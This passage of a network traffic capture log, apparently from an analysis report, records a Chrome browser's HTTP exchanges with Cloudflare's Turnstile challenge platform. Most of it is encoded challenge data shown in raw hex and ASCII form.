62 4c 58 73 75 62 5a 32 65 7a 4e 33 37 6e 69 31 39 37 33 76 72 6a 46 39 73 4c 4a 35 76 58 35 41 76 76 71 30 4d 76 6c 37 39 48 6a 38 75 66 6a 38 Data Ascii: RXPUpcKUIdHVE3I1ImRiRnJkVqLEw9KDxuTU1Kck1xW2k0Xzc/cm08bkNxhHRydUd3R4CQjWx9gWVNgHd1dox5amebk1ZyfnmkX2V+gnRppaWtZKhuq4OCtX6vbbSjkLiudnm2n69/nJ+4kZ25sZ64xoSoxNHIu7vT1YjNp9eTrtzbmLes1bfMm6+dod6z18ek5MzOvLHc0efo7bLXsubZ2ezN37ni1973vrjF9sLJ5vX5Avvq0Mvl79Hj8ufj8
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 7a 48 53 45 35 52 56 6c 6a 53 6a 6b 6c 4b 55 46 50 59 57 74 53 54 79 30 78 53 57 70 70 63 31 70 57 4e 54 6c 52 62 48 46 37 59 6c 77 39 51 56 6c 32 65 59 4e 71 64 55 56 4a 59 57 53 42 69 33 4a 38 53 5a 42 54 64 47 70 58 62 5a 43 4c 56 35 68 62 62 4a 47 55 57 4a 42 6a 64 71 43 43 6c 71 43 5a 6d 47 75 47 71 49 71 65 6e 4b 47 67 63 61 53 77 6b 71 69 55 69 36 79 30 66 48 32 36 6c 63 47 4b 75 4b 4b 6c 68 61 61 56 78 4a 4b 59 6f 4d 43 66 69 62 32 76 69 59 72 4b 6e 38 47 30 74 71 4c 4d 75 4d 2f 55 76 37 47 38 6d 4e 2f 4d 72 71 44 69 6f 61 50 48 77 4f 43 30 70 4b 57 34 72 63 6e 47 33 66 43 2f 74 73 58 52 31 50 71 35 72 76 63 41 35 2b 44 7a 37 50 33 62 34 50 4c 31 32 74 62 69 36 4f 58 38 39 2f 44 64 42 51 44 77 7a 64 37 7a 45 64 54 30 47 66 6b 4f 31 42 58 79 2b 74 Data Ascii: zHSE5RVljSjklKUFPYWtSTy0xSWppc1pWNTlRbHF7Ylw9QVl2eYNqdUVJYWSBi3J8SZBTdGpXbZCLV5hbbJGUWJBjdqCClqCZmGuGqIqenKGgcaSwkqiUi6y0fH26lcGKuKKlhaaVxJKYoMCfib2viYrKn8G0tqLMuM/Uv7G8mN/MrqDioaPHwOC0pKW4rcnG3fC/tsXR1Pq5rvcA5+Dz7P3b4PL12tbi6OX89/DdBQDwzd7zEdT0GfkO1BXy+t
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 52 53 64 49 61 7a 31 6c 53 6d 41 78 61 6b 5a 6b 4d 30 5a 66 4d 7a 5a 6a 5a 46 64 4c 50 6b 70 71 67 44 51 2b 56 7a 38 2f 56 6e 57 44 63 30 6d 4e 59 56 39 67 66 45 64 61 67 45 70 76 55 6d 71 4a 57 46 68 78 68 48 69 49 65 6f 6c 72 6c 59 39 75 5a 59 5a 39 6d 35 39 6a 61 70 36 73 71 36 43 6a 6d 6f 4f 71 6e 57 2b 68 67 71 64 77 69 6f 79 57 69 62 43 4e 6d 48 79 74 72 4c 56 37 73 37 57 6f 67 4a 2b 66 6c 4c 6e 41 6d 70 2b 50 77 4e 44 52 7a 70 4b 66 72 37 69 53 6a 64 6d 38 72 38 2b 77 77 70 53 66 34 70 36 65 77 74 47 69 33 64 6e 74 7a 61 7a 4f 34 65 76 7a 7a 4d 2b 2b 34 38 2f 53 75 63 65 7a 39 73 62 73 78 39 69 35 31 2f 33 57 34 39 44 61 43 73 67 4a 34 65 66 64 78 39 63 44 37 52 48 6e 33 78 41 56 45 65 76 78 31 51 7a 73 45 42 48 64 33 74 33 5a 4a 65 48 6a 4b 43 67 Data Ascii: RSdIaz1lSmAxakZkM0ZfMzZjZFdLPkpqgDQ+Vz8/VnWDc0mNYV9gfEdagEpvUmqJWFhxhHiIeolrlY9uZYZ9m59jap6sq6CjmoOqnW+hgqdwioyWibCNmHytrLV7s7WogJ+flLnAmp+PwNDRzpKfr7iSjdm8r8+wwpSf4p6ewtGi3dntzazO4evzzM++48/Sucez9sbsx9i51/3W49DaCsgJ4efdx9cD7RHn3xAVEevx1QzsEBHd3t3ZJeHjKCg
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 6c 74 6c 4d 54 39 7a 51 55 67 79 4b 6d 4a 6c 54 44 74 63 4e 54 67 39 62 30 70 72 62 6b 47 45 57 49 69 48 61 57 6d 4a 53 58 70 36 67 56 74 6f 62 57 42 48 66 6c 4f 49 5a 34 4e 70 64 6e 32 4a 56 35 31 38 57 56 32 43 58 4b 4f 6b 58 71 65 5a 70 48 6d 74 62 71 43 4e 66 6f 4f 6b 71 48 52 73 64 34 32 44 74 6e 47 61 73 71 32 70 69 72 39 35 78 49 47 44 68 4b 2b 30 6c 6f 72 42 6c 72 79 76 70 38 53 69 78 5a 2b 39 6b 38 75 69 77 64 69 76 31 38 53 37 72 4c 32 37 72 74 47 2b 35 65 44 46 77 62 57 68 78 74 65 2f 79 38 66 73 35 64 48 76 36 2f 58 6f 78 4d 37 43 74 2b 33 59 79 62 76 35 2b 66 6a 30 31 39 61 2f 7a 51 50 5a 33 75 66 57 2f 50 62 47 7a 73 6b 4f 35 50 44 76 45 4d 63 49 35 78 44 73 2b 50 6f 49 7a 78 44 71 47 50 51 42 41 2f 76 6a 49 39 38 5a 33 2f 58 39 2f 43 6f 43 Data Ascii: ltlMT9zQUgyKmJlTDtcNTg9b0prbkGEWIiHaWmJSXp6gVtobWBHflOIZ4Npdn2JV518WV2CXKOkXqeZpHmtbqCNfoOkqHRsd42DtnGasq2pir95xIGDhK+0lorBlryvp8SixZ+9k8uiwdiv18S7rL27rtG+5eDFwbWhxte/y8fs5dHv6/XoxM7Ct+3Yybv5+fj019a/zQPZ3ufW/PbGzskO5PDvEMcI5xDs+PoIzxDqGPQBA/vjI98Z3/X9/CoC
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 64 49 55 7a 46 5a 62 6a 6c 54 63 48 42 33 4f 6e 52 30 65 55 4a 33 65 6b 4e 43 66 59 42 30 5a 32 52 36 5a 57 42 65 55 30 2b 42 68 49 79 51 61 56 6d 49 65 70 35 5a 66 32 78 37 63 49 2b 5a 6d 4b 4f 56 64 35 79 6e 6e 61 47 73 61 70 78 71 71 4c 4b 6a 6a 47 39 79 74 71 32 55 6c 37 4b 36 6b 37 61 54 6e 4b 4b 2b 6d 63 56 33 70 71 61 51 68 62 6d 6e 76 6f 61 4a 78 71 2f 44 30 36 65 66 78 34 2b 77 75 4e 69 56 6c 72 47 59 30 35 47 53 6c 35 32 6a 35 4e 66 62 6d 65 61 78 74 71 48 73 33 2b 50 46 37 65 75 36 76 4d 75 30 37 63 6a 32 32 4c 65 78 72 76 76 31 30 41 4c 33 7a 37 55 43 75 77 48 5a 34 76 50 48 76 62 37 44 79 63 38 52 42 75 6e 78 2f 51 72 7a 42 4e 45 4b 32 66 48 6d 36 4e 30 66 47 67 37 66 48 78 2f 75 2f 65 41 61 48 41 50 68 39 51 30 61 4c 53 73 4e 42 42 4d 41 46 Data Ascii: dIUzFZbjlTcHB3OnR0eUJ3ekNCfYB0Z2R6ZWBeU0+BhIyQaVmIep5Zf2x7cI+ZmKOVd5ynnaGsapxqqLKjjG9ytq2Ul7K6k7aTnKK+mcV3pqaQhbmnvoaJxq/D06efx4+wuNiVlrGY05GSl52j5NfbmeaxtqHs3+PF7eu6vMu07cj22Lexrvv10AL3z7UCuwHZ4vPHvb7Dyc8RBunx/QrzBNEK2fHm6N0fGg7fHx/u/eAaHAPh9Q0aLSsNBBMAF
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 76 57 56 74 65 66 47 39 68 65 6a 64 68 59 34 4a 46 55 6d 46 44 58 6f 6c 34 58 45 70 4e 54 5a 46 6f 64 48 4f 54 53 34 74 72 6b 33 42 38 66 6f 74 54 6b 32 36 55 6e 33 46 67 6d 5a 2b 49 6f 48 56 73 6e 35 39 36 72 49 57 4a 6f 35 56 79 63 61 4f 47 71 36 4f 47 76 6e 32 66 69 33 71 72 75 4a 4f 43 6f 62 71 62 6e 70 75 37 68 36 36 41 6a 62 37 4e 30 73 53 76 72 71 7a 4f 73 4e 6a 61 33 4c 57 70 74 39 4c 4c 31 4f 4c 6b 34 38 44 41 77 74 6d 6f 71 4c 33 74 32 74 69 36 34 75 44 4b 36 4f 33 78 37 2b 2f 6a 31 63 2f 52 37 72 72 78 79 73 36 33 31 39 44 7a 30 2b 4f 2b 77 62 2f 68 32 4f 48 67 43 4f 2f 74 42 75 6b 48 34 65 44 73 37 68 6f 55 46 50 6b 59 48 66 4d 62 32 78 45 42 33 78 6e 69 2f 76 34 6a 34 75 55 63 2b 51 63 44 47 65 76 74 48 2f 30 4e 37 7a 51 32 42 42 55 6c 4a 52 Data Ascii: vWVtefG9hejdhY4JFUmFDXol4XEpNTZFodHOTS4trk3B8fotTk26Un3FgmZ+IoHVsn596rIWJo5VycaOGq6OGvn2fi3qruJOCobqbnpu7h66Ajb7N0sSvrqzOsNja3LWpt9LL1OLk48DAwtmoqL3t2ti64uDK6O3x7+/j1c/R7rrxys6319Dz0+O+wb/h2OHgCO/tBukH4eDs7hoUFPkYHfMb2xEB3xni/v4j4uUc+QcDGevtH/0N7zQ2BBUlJR
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 56 6c 31 37 51 46 35 62 65 48 39 62 65 49 52 67 62 57 64 6a 5a 47 39 65 6a 32 78 73 53 32 4b 50 56 57 5a 33 67 47 32 4d 6d 56 36 4f 68 6c 31 68 6e 6e 4f 54 68 6d 53 6f 6d 49 79 67 70 49 4a 78 62 57 79 79 69 47 71 48 67 36 79 7a 74 35 75 32 66 36 43 31 70 4d 53 59 75 4b 6a 49 6e 4c 79 71 78 71 75 4d 79 4b 71 71 76 4b 4c 4e 30 64 47 67 78 63 6a 56 72 38 57 55 73 36 71 75 6b 37 6a 43 34 74 65 37 70 61 65 78 78 72 2f 47 76 2b 6e 50 77 63 71 73 34 75 6a 71 31 66 66 70 32 73 4c 53 35 2b 6e 4c 38 38 76 33 76 75 41 47 31 51 62 54 41 2b 6f 48 2f 4f 66 67 34 77 73 52 42 63 54 37 34 51 59 43 30 2b 50 72 45 68 54 35 30 39 37 76 39 67 73 4f 33 2f 6b 6a 2f 4f 49 69 42 51 49 4b 34 75 66 33 48 43 38 4b 2f 67 4d 6c 37 54 66 74 38 6a 59 71 44 6a 77 2b 50 55 45 77 41 68 51 Data Ascii: Vl17QF5beH9beIRgbWdjZG9ej2xsS2KPVWZ3gG2MmV6Ohl1hnnOThmSomIygpIJxbWyyiGqHg6yzt5u2f6C1pMSYuKjInLyqxquMyKqqvKLN0dGgxcjVr8WUs6quk7jC4te7paexxr/Gv+nPwcqs4ujq1ffp2sLS5+nL88v3vuAG1QbTA+oH/Ofg4wsRBcT74QYC0+PrEhT5097v9gsO3/kj/OIiBQIK4uf3HC8K/gMl7Tft8jYqDjw+PUEwAhQ
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 49 64 63 61 6b 74 35 53 6d 5a 52 66 45 32 56 59 6f 74 6e 59 6c 57 4b 65 35 56 5a 6a 48 39 71 58 5a 4b 44 6e 58 4b 54 59 71 46 34 6c 58 75 4f 72 35 75 6d 6b 72 43 65 70 71 6d 47 74 4b 53 46 69 59 57 73 6e 61 32 4b 75 5a 79 63 73 5a 57 30 75 4d 43 45 78 6f 69 71 70 38 69 59 71 4d 4b 36 77 4d 47 50 6b 72 65 71 6a 73 50 51 31 63 72 55 76 38 6a 52 32 39 6a 55 77 65 4f 38 77 72 37 55 76 2b 6a 55 79 71 72 4b 71 4f 44 6c 79 38 76 55 36 74 2b 7a 34 2f 6a 38 35 65 33 78 37 4f 32 36 31 75 2f 61 42 73 41 42 35 74 49 4b 41 76 55 4a 32 4f 6a 5a 41 64 72 79 39 51 49 46 44 41 48 72 38 52 44 56 45 2b 34 41 44 77 72 68 32 68 63 6a 45 51 6b 70 48 52 37 68 42 75 73 68 36 75 2f 76 46 44 55 78 42 53 6a 7a 45 42 55 6e 4b 67 37 35 4d 78 34 30 4d 52 34 6c 45 79 63 65 52 66 34 53 Data Ascii: Idcakt5SmZRfE2VYotnYlWKe5VZjH9qXZKDnXKTYqF4lXuOr5umkrCepqmGtKSFiYWsna2KuZycsZW0uMCExoiqp8iYqMK6wMGPkreqjsPQ1crUv8jR29jUweO8wr7Uv+jUyqrKqODly8vU6t+z4/j85e3x7O261u/aBsAB5tIKAvUJ2OjZAdry9QIFDAHr8RDVE+4ADwrh2hcjEQkpHR7hBush6u/vFDUxBSjzEBUnKg75Mx40MR4lEyceRf4S

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:13 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/9260d3b3580828c9/1742931072439/8oOOsJMz5m6_YFC HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:14 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:14 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9260d3cd3ad543fa-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 51 08 02 00 00 00 4a 5c 81 4c 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRQJ\LIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:14 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:14 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 25 Mar 2025 19:31:14 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 744FXKAlMuaFL2loZsN4RdLxY3SydUdMQazK8OH6piYdC+GKJ2KAXC8lFyG7+c0eHQ27hMth/1nVG89d1jqyJw==$ex5iL0X3kOBUEw5Cd+oRoQ== Server: cloudflare CF-RAY: 9260d3cdccbe8df5-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:14 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:14 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/9260d3b3580828c9/1742931072442/a836546be4359a3b0afab9b29e38398851c8c190ee656f027c4bac33c1ac4dcc/dC1VA6lriOKnjfw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:15 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 25 Mar 2025 19:31:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-25 19:31:15 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 71 44 5a 55 61 2d 51 31 6d 6a 73 4b 2d 72 6d 79 6e 6a 67 35 69 46 48 49 77 5a 44 75 5a 57 38 43 66 45 75 73 4d 38 47 73 54 63 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gqDZUa-Q1mjsK-rmynjg5iFHIwZDuZW8CfEusM8GsTcwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-25 19:31:15 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:16 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38255 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:16 UTC	16384	OUT	Data Raw: 46 6b 6e 6a 55 51 32 72 38 62 6e 5a 6f 48 4a 32 63 68 49 41 6e 51 48 32 77 68 66 6a 6c 44 51 5a 68 45 4f 68 62 70 4f 72 68 67 68 45 44 5a 4a 32 46 4d 4f 5a 68 48 61 31 6a 32 5a 68 77 72 6a 37 56 44 51 4c 68 4b 70 31 45 7a 5a 68 4f 4b 68 37 7a 44 31 64 68 2d 4b 7a 57 43 68 6a 5a 7a 64 68 38 6a 68 6f 38 39 6e 35 70 68 67 4c 4f 6a 51 66 68 58 6c 68 31 34 36 68 32 6e 6f 68 55 63 44 68 75 75 47 6c 7a 77 51 68 36 61 42 6e 2d 38 6e 76 44 32 69 68 68 71 58 68 79 37 62 49 73 39 4e 51 69 77 65 62 70 32 55 6f 6e 6d 6e 68 48 66 44 6e 47 24 68 49 6a 32 76 68 48 76 43 58 62 68 68 4d 58 6f 2d 31 4b 71 71 68 32 72 2b 6c 68 50 47 51 58 70 68 51 64 76 6e 54 2d 32 53 68 5a 5a 72 68 6c 72 68 41 70 32 49 37 51 70 68 4c 70 68 59 49 6a 34 31 31 68 32 65 68 6f 68 65 4e 44 68 51 Data Ascii: FknjUQ2r8bnZoHJ2chIAnQH2whfjlDQZhEOhbpOrhghEDZJ2FMOZhHa1j2Zhwrj7VDQLhKp1EzZhOKh7zD1dh-KzWChjZzdh8jho89n5phgLOjQfhXlh146h2nohUcDhuuGlzwQh6aBn-8nvD2ihhqXhy7bIs9NQiwebp2UonmnhHfDnG$hIj2vhHvCXbhhMXo-1Kqqh2r+lhPGQXphQdvnT-2ShZZrhlrhAp2I7QphLphYIj411h2ehoheNDhQ
2025-03-25 19:31:16 UTC	16384	OUT	Data Raw: 4d 44 4c 45 34 6e 72 24 39 53 71 6e 62 55 30 5a 54 55 71 41 32 30 61 48 45 6c 51 30 34 34 58 31 70 36 32 34 79 43 41 5a 64 58 6f 66 68 7a 4e 43 44 44 4b 58 48 4f 6a 44 32 72 58 6c 68 4f 4c 70 48 70 48 79 57 37 51 41 68 58 38 69 69 68 6f 51 51 54 53 61 34 4a 59 48 36 51 6e 32 70 48 52 6b 64 44 32 45 55 5a 4c 68 30 38 6e 6f 5a 4c 32 4c 5a 75 63 62 44 5a 7a 6a 65 68 72 6a 6c 32 34 77 68 58 6a 5a 70 32 30 68 4c 62 41 37 70 71 70 5a 44 5a 4f 47 57 68 47 6d 73 7a 24 58 35 73 55 2d 46 5a 46 2d 46 51 61 79 5a 52 41 63 7a 31 69 68 70 4e 4e 4c 68 24 44 45 4b 45 6e 5a 6e 41 59 37 6c 64 44 51 44 69 34 39 5a 32 64 32 6d 6b 6e 75 43 30 66 45 4b 51 38 4f 65 44 51 6e 6e 6e 6a 4e 6f 47 70 6c 2b 68 62 68 71 70 48 46 31 73 38 63 49 5a 54 51 42 6a 38 70 32 34 32 58 68 5a 51 Data Ascii: MDLE4nr$9SqnbU0ZTUqA20aHElQ044X1p624yCAZdXofhzNCDDKXHOjD2rXlhOLpHpHyW7QAhX8iihoQQTSa4JYH6Qn2pHRkdD2EUZLh08noZL2LZucbDZzjehrjl24whXjZp20hLbA7pqpZDZOGWhGmsz$X5sU-FZF-FQayZRAcz1ihpNNLh$DEKEnZnAY7ldDQDi49Z2d2mknuC0fEKQ8OeDQnnnjNoGpl+hbhqpHF1s8cIZTQBj8p242XhZQ
2025-03-25 19:31:16 UTC	5487	OUT	Data Raw: 73 42 2d 2d 66 41 67 55 4a 62 68 48 45 65 53 39 6f 53 79 5a 2d 6c 37 6b 53 6d 6a 42 68 51 5a 53 30 67 70 6e 68 24 53 4e 4b 6f 6b 52 6a 6a 6c 4c 50 46 49 5a 55 6a 45 37 50 69 52 70 43 35 2b 47 56 35 33 65 30 77 39 48 61 43 62 6a 51 4e 32 4c 61 58 24 75 44 6d 47 43 54 64 6d 53 37 72 63 33 51 31 67 31 46 4d 5a 4a 2d 62 48 51 42 70 6d 69 6f 37 73 42 50 61 65 42 45 47 42 4e 61 69 4e 54 78 4f 44 32 39 64 42 4c 4f 70 5a 4f 6b 72 32 4f 44 67 61 36 45 4b 44 6d 50 77 7a 35 67 67 46 4d 37 6b 66 6f 79 71 37 2d 72 61 73 2d 48 6a 4f 5a 54 61 79 41 46 64 4d 79 38 42 41 2d 33 55 4c 46 46 33 4f 4b 68 77 41 79 50 68 48 63 4c 32 68 6a 66 6f 53 4f 6f 33 56 44 51 6a 51 6a 44 4a 4f 31 6a 68 6a 79 34 53 4b 72 37 48 37 76 78 77 73 39 51 31 49 32 54 6e 4a 71 2d 41 68 5a 43 68 51 Data Ascii: sB--fAgUJbhHEeS9oSyZ-l7kSmjBhQZS0gpnh$SNKokRjjlLPFIZUjE7PiRpC5+GV53e0w9HaCbjQN2LaX$uDmGCTdmS7rc3Q1g1FMZJ-bHQBpmio7sBPaeBEGBNaiNTxOD29dBLOpZOkr2ODga6EKDmPwz5ggFM7kfoyq7-ras-HjOZTayAFdMy8BA-3ULFF3OKhwAyPhHcL2hjfoSOo3VDQjQjDJO1jhjy4SKr7H7vxws9Q1I2TnJq-AhZChQ
2025-03-25 19:31:16 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:16 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28176 Connection: close cf-chl-gen: +rGfPP3FC/IUJS0qc5rFOpkDdIV6Z+cnHMlNgwZqHk91RQZ0a+14Pqjl4EKppgjm$xHj77+0ocNIy36OwPeDRXQ== Server: cloudflare CF-RAY: 9260d3dcd8047095-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:16 UTC	1047	IN	Data Raw: 51 31 56 5a 56 57 31 77 59 6e 75 47 64 45 5a 39 69 49 65 4c 67 6c 42 30 6d 4a 35 57 58 36 43 69 57 6c 56 33 6d 61 42 5a 66 33 75 72 71 49 65 61 6e 49 42 6e 61 6f 31 72 6b 5a 2b 55 6c 59 6d 77 64 4a 70 31 71 5a 32 7a 6c 61 43 64 6f 61 47 77 70 35 4f 45 67 49 61 72 6c 72 65 72 77 5a 43 6c 72 34 79 64 7a 49 36 52 6b 63 6d 34 71 62 48 4a 75 72 36 37 30 74 43 30 34 39 4c 46 73 37 48 45 74 37 6e 68 7a 74 76 58 75 62 2f 4c 30 4d 58 69 30 63 2b 77 73 4c 50 62 78 75 6a 61 33 50 66 67 34 2f 58 4d 34 2b 37 7a 36 63 6b 42 32 65 77 4b 35 77 49 4c 45 4e 7a 6f 37 51 76 6b 34 41 58 78 42 77 59 52 45 52 6e 31 48 4e 50 67 45 68 4c 75 41 68 45 56 48 52 72 33 41 64 38 46 35 76 6e 36 43 69 63 56 38 67 30 53 36 67 34 6e 45 50 4d 58 4e 45 45 38 4b 69 76 37 51 68 4e 44 51 43 4a Data Ascii: Q1VZVW1wYnuGdEZ9iIeLglB0mJ5WX6CiWlV3maBZf3urqIeanIBnao1rkZ+UlYmwdJp1qZ2zlaCdoaGwp5OEgIarlrerwZClr4ydzI6Rkcm4qbHJur670tC049LFs7HEt7nhztvXub/L0MXi0c+wsLPbxuja3Pfg4/XM4+7z6ckB2ewK5wILENzo7Qvk4AXxBwYRERn1HNPgEhLuAhEVHRr3Ad8F5vn6CicV8g0S6g4nEPMXNEE8Kiv7QhNDQCJ
2025-03-25 19:31:16 UTC	1369	IN	Data Raw: 47 56 57 69 64 69 6c 6c 2b 6f 6e 6d 62 58 71 57 6a 66 6e 32 64 66 5a 42 36 72 49 65 46 66 4b 6d 33 62 6e 47 50 71 36 32 7a 6d 49 68 2f 75 6f 47 58 6c 59 79 37 6b 36 69 66 70 71 66 4b 72 61 33 42 7a 72 2b 73 70 49 57 39 6c 4b 50 4e 6c 71 7a 58 32 5a 75 74 70 72 71 75 33 64 76 58 34 65 4f 35 32 2b 57 67 34 2b 75 6f 36 71 7a 6e 38 50 48 61 78 4b 33 4e 37 39 4c 51 35 38 7a 4c 2b 64 33 4b 2b 74 66 5a 7a 2f 62 34 34 2f 6e 48 39 75 62 6b 2f 75 44 6a 37 4d 7a 4e 44 51 50 68 39 41 50 7a 36 2b 58 6e 38 50 6f 48 31 39 34 64 46 64 33 39 44 4f 4d 47 45 78 4c 2b 39 77 66 6b 35 69 55 4f 37 41 55 65 43 66 33 30 39 54 55 44 39 41 49 33 38 66 6f 49 47 44 58 79 51 54 51 66 4a 54 51 59 41 43 67 71 47 44 38 39 4b 51 64 4b 53 43 38 4b 49 69 4d 57 4c 44 46 55 4c 6b 39 52 4f 6b Data Ascii: GVWidill+onmbXqWjfn2dfZB6rIeFfKm3bnGPq62zmIh/uoGXlYy7k6ifpqfKra3Bzr+spIW9lKPNlqzX2Zutprqu3dvX4eO52+Wg4+uo6qzn8PHaxK3N79LQ58zL+d3K+tfZz/b44/nH9ubk/uDj7MzNDQPh9APz6+Xn8PoH194dFd39DOMGExL+9wfk5iUO7AUeCf309TUD9AI38foIGDXyQTQfJTQYACgqGD89KQdKSC8KIiMWLDFULk9ROk
